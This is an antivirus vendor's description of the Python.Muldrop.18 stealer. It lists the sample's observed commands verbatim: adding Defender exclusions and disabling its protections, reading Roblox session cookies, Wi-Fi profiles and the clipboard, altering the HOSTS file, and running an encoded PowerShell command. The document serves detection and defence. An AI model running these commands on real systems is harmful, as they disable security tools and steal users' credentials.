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Python.Muldrop.18
Added to the Dr.Web virus database:
2023-09-19
Virus description added:
2024-03-29
Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
Executes the following
'<SYSTEM32>\taskkill.exe' /F /PID 3924
'<SYSTEM32>\taskkill.exe' /F /PID 4028
'<SYSTEM32>\taskkill.exe' /F /PID 4060
'<SYSTEM32>\taskkill.exe' /F /PID 4056
Reads files which store third party applications passwords
%HOMEPATH%\desktop\508softwareandos.doc
%HOMEPATH%\desktop\applicantform_en.doc
%HOMEPATH%\desktop\file_p_00000000_1371597592.docx
%HOMEPATH%\desktop\hadac_newsletter_july_2010_final.docx
%HOMEPATH%\desktop\hanni_umami_chapter.doc
%HOMEPATH%\desktop\holycrosschurchinstructions.docx
%HOMEPATH%\desktop\issi2013_template_for_posters.docx
%HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
Modifies file system
Creates the following files
%TEMP%\_mei44962\vcruntime140.dll
%TEMP%\blj3fgzy\blj3fgzy.0.cs
%TEMP%\ \system\antivirus.txt
%TEMP%\ \common files\desktop\uep_form_786_bulletin_1726i602.doc
%TEMP%\ \common files\desktop\issi2013_template_for_posters.docx
%TEMP%\ \common files\desktop\holycrosschurchinstructions.docx
%TEMP%\ \common files\desktop\hanni_umami_chapter.doc
%TEMP%\ \common files\desktop\hadac_newsletter_july_2010_final.docx
%TEMP%\ \common files\desktop\file_p_00000000_1371597592.docx
%TEMP%\ \common files\desktop\applicantform_en.doc
%TEMP%\ \common files\desktop\508softwareandos.doc
%TEMP%\_mei44962\rarreg.key
%TEMP%\_mei44962\blank.aes
%TEMP%\_mei44962\base_library.zip
%TEMP%\_mei44962\unicodedata.pyd
%TEMP%\blj3fgzy\blj3fgzy.cmdline
%TEMP%\_mei44962\sqlite3.dll
%TEMP%\_mei44962\rar.exe
%TEMP%\_mei44962\python311.dll
%TEMP%\_mei44962\libssl-1_1.dll
%TEMP%\_mei44962\libffi-8.dll
%TEMP%\_mei44962\libcrypto-1_1.dll
%TEMP%\_mei44962\_ssl.pyd
%TEMP%\_mei44962\_sqlite3.pyd
%TEMP%\_mei44962\_socket.pyd
%TEMP%\_mei44962\_queue.pyd
%TEMP%\_mei44962\_lzma.pyd
%TEMP%\_mei44962\_hashlib.pyd
%TEMP%\_mei44962\_decimal.pyd
%TEMP%\_mei44962\_ctypes.pyd
%TEMP%\_mei44962\_bz2.pyd
%TEMP%\_mei44962\select.pyd
%TEMP%\blj3fgzy\blj3fgzy.out
Modifies the HOSTS file.
Miscellaneous
Creates and executes the following
'<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 4056"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 4060"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 4028"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3924"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "getmac"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES92FF.tmp" "%TEMP%\blj3fgzy\CSCF5159996C3474B13B238F76F86F84B.TMP"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\blj3fgzy\blj3fgzy.cmdline"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "attrib +r <DRIVERS>\etc\hosts"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "attrib -r <DRIVERS>\etc\hosts"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "systeminfo"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "tree /A /F"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "netsh wlan show profile"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Get-Clipboard"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 424"' (with hidden window)
Restarts the analyzed sample
Executes the following
'<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -ExclusionPath '<Full path to file>'"
'<SYSTEM32>\cmd.exe' /c "attrib -r <DRIVERS>\etc\hosts"
'<SYSTEM32>\attrib.exe' -r <DRIVERS>\etc\hosts
'<SYSTEM32>\cmd.exe' /c "attrib +r <DRIVERS>\etc\hosts"
'<SYSTEM32>\attrib.exe' +r <DRIVERS>\etc\hosts
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\blj3fgzy\blj3fgzy.cmdline"
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES92FF.tmp" "%TEMP%\blj3fgzy\CSCF5159996C3474B13B238F76F86F84B.TMP"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC...
'<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
'<SYSTEM32>\cmd.exe' /c "getmac"
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 4028"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 4060"
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 4056"
'<SYSTEM32>\cmd.exe' /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
'<SYSTEM32>\getmac.exe'
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 3924"
'<SYSTEM32>\tree.com' /A /F
'<SYSTEM32>\systeminfo.exe'
'<SYSTEM32>\netsh.exe' wlan show profile
'<SYSTEM32>\cmd.exe' /c "tasklist /FO LIST"
'<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value"
'<SYSTEM32>\cmd.exe' /c "wmic path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value"
'<SYSTEM32>\cmd.exe' /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
'<SYSTEM32>\cmd.exe' /c "powershell Get-Clipboard"
'<SYSTEM32>\cmd.exe' /c "netsh wlan show profile"
'<SYSTEM32>\cmd.exe' /c "tree /A /F"
'<SYSTEM32>\cmd.exe' /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess ...
'<SYSTEM32>\cmd.exe' /c "systeminfo"
'<SYSTEM32>\cmd.exe' /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbAB...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
'<SYSTEM32>\tasklist.exe' /FO LIST
'<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Telegram Desktop\\Telegram.lnk" get target /value
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-Clipboard
'<SYSTEM32>\wbem\wmic.exe' path win32_shortcutfile where name="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Steam\\Steam.lnk" get target /value
'<SYSTEM32>\wbem\wmic.exe' /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
'<SYSTEM32>\cmd.exe' /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
'<SYSTEM32>\cmd.exe' /c "taskkill /F /PID 424"
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
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